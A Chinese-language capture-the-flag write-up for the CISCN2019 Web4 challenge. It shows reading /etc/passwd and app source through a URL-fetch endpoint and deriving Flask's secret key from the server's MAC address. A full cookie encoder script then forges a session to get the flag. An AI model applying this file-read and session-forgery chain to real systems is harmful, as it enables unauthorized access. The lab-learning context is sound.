[CISCN2019 华东南赛区]Web4
进入环境,只有一个链接,点进去是百度
但是这个url似乎暴露了些什么
http://8c38a640-615b-48e3-9cf7-a6c197cd2ab8.node3.buuoj.cn/read?url=https://baidu.com
,分别试一下url=/etc/passwd
url=file:///etc/passwd
url=local_file:etc/passwd
,发现file:
回应了nohack
,另外两个打开了文件。
然后可以尝试读取源码app/app.py
源码如下,可以发现在url页面中flag与file都被过滤了,只有当我们的username为fuck时,才能拿到flag,username在session中,用burp抓个包,访问/falg
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
可以看到session中加密的内容,通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。
通过base64解码可以得到前面的内容是{“username”:{" b":“d3d3LWRhdGE=”},其中d3d3LWRhdGE=是www-data的base64编码,从源码中也可以看出来,然后源码中可以看到Secre_Key的生成方式,其中用于生成伪随机数seed的函数uuid.getnode()
,用来获取Mac地址并且将其转换为整数,那么需要我们先读取Mac地址,read?url=/sys/class/net/eth0/address
,读取到mac地址为02:42:ac:10:ae:6d
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
然后可以编写脚本获得Secre_Key,需要在python2下运行因为生成的位数会不一样,得到结果为205.110268101
import random
random.seed(0x0242ac10ae6d)
print(str(random.random()*233))
然后便可以利用以下脚本伪造session了
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
然后在终端运行该脚本时键入以下参数
encode -s '205.110268101' -t "{'username': b'fuck'}"
得到了伪造的session
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YJ1z2g.N1dN_wquln67jRHKwXox7c0kgl8
然后修改掉burp中数据包的session部分,即可得到flag